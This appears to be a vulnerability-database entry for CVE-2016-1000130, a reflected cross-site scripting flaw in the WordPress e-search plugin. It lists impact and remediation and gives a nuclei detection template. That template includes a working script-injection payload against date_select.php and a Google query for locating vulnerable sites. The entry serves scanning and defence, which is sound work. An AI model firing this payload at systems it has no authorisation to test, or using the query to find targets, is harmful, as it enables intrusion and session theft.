Browse / CVEs / CVE-2016-1000130
CVE-2016-1000130· e-search project / e-search· CWE-79
WordPress e-search <=1.0 - Cross-Site Scripting
Wordpress plugin e-search 1.0 and before contains a cross-site scripting vulnerability via date_select.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
Fix
Update to the latest version of the WordPress e-search plugin to mitigate this vulnerability.
How to confirm it
Send: GET /wp-content/plugins/e-search/readme.txt
Positive when: contains "Search" and "Tags:" and "Tested up to:"
Send: GET {{BaseURL}}/wp-content/plugins/e-search/tmpl/date_select.php?date-from=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2016-1000130 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2016-1000130
info:
name: WordPress e-search <=1.0 - Cross-Site Scripting
author: daffainfo
severity: medium
description: Wordpress plugin e-search 1.0 and before contains a cross-site scripting vulnerability via date_select.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
remediation: |
Update to the latest version of the WordPress e-search plugin to mitigate this vulnerability.
reference:
- https://wordpress.org/plugins/e-search
- http://www.vapidlabs.com/wp/wp_advisory.php?v=394
- https://nvd.nist.gov/vuln/detail/CVE-2016-1000130
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-1000130
cwe-id: CWE-79
epss-score: 0.02897
epss-percentile: 0.87047
cpe: cpe:2.3:a:e-search_project:e-search:1.0:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "e-search_project"
product: "e-search"
framework: wordpress
google-query: "inurl:\"/wp-content/plugins/e-search\""
tags: cve2016,cve,wordpress,xss,wp-plugin,e-search_project,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/e-search/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Search'
- 'Tags:'
- 'Tested up to:'
condition: and
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/e-search/tmpl/date_select.php?date-from=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wordpress.org/plugins/e-search
- http://www.vapidlabs.com/wp/wp_advisory.php?v=394
- https://nvd.nist.gov/vuln/detail/CVE-2016-1000130
Use this check only on systems you are authorised to test. Where the data comes from